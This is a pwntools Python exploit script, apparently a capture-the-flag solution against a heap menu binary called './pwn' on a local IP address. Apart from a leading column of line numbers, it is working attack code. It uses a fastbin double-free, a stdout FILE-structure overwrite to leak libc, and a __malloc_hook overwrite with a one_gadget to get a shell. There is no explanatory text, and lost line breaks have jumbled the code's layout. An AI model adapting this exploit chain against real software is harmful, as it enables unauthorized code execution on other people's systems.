1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113
|
from pwn import * context.log_level = 'debug' host, port = "192.168.37.140", "9999" filename = "./pwn" elf = ELF(filename) context.arch = 'amd64'
if not args.REMOTE: libc = elf.libc
else: libc = ELF('./libc.so')
context.terminal = ['gnome-terminal', '-x', 'sh', '-c']
def getConn(): return process(filename) if not args.REMOTE else remote(host, port)
def get_PIE(proc): memory_map = open("/proc/{}/maps".format(proc.pid),"rb").readlines() return int(memory_map[0].split("-")[0],16)
def debug(bp): script = "" PIE = get_PIE(p) PAPA = PIE for x in bp: script += "b *0x%x\n"%(PIE+x) gdb.attach(p,gdbscript=script)
def cmd(c): p.sendlineafter(">> \n",str(c)) def Cmd(c): p.sendlineafter(">> ",str(c)) def create(idx,size,name="padding"): cmd(1) p.sendlineafter(": ",str(size)) p.sendlineafter(": ",str(idx)) p.sendafter(":\n",name) def delete(idx): cmd(2) p.sendlineafter(":",str(idx)) def edit(idx,name): cmd(3) p.sendlineafter(": ",str(idx)) p.sendafter(":\n",name) def Add(idx,size,name="padding"): Cmd(1) p.sendlineafter(": ",str(size)) p.sendlineafter(": ",str(idx)) p.sendafter(":",name) def Free(idx): Cmd(2) p.sendlineafter(":",str(idx))
p=getConn()
create(0,0x60,"a") create(1,0x60,"b") create(2,0x60,"c") delete(0) delete(1) p.recvuntil(">> ") p.sendline("1"*0x1000)
create(3,0x60,"\xdd\x25") create(4,0x60,"e") delete(2) delete(1) edit(1,"\x00") create(5,0x60,"f") create(6,0x60,"f") file_struct = p64(0xfbad1800)+p64(0)*3+"\x00" create(7,0x60,"\x00"*0x33+file_struct)
leak=u64(p.recvuntil("\x7f")[-6:].ljust(8,"\x00")) log.success('leak=%s'% hex(leak)) libc_addr=leak-0x3c5600
print hex(libc_addr) Add(0,0x60) Add(1,0x60) Add(2,0x18) Free(0) Free(1) Free(0) fake=libc_addr+libc.sym["__malloc_hook"]-0x23
Add(1,0x60,p64(fake)) Add(1,0x60,'bbbb')
Add(8,0x60,"t") debug([0xa50]) Add(9,0x60,"a"*0x13+p64(libc_addr+0xf1147))
p.recvuntil(">> ") p.sendline(str(1)) p.recvuntil("weapon: ") p.sendline(str(0x60)) p.recvuntil("index: ") p.sendline(str(6))
p.interactive()
|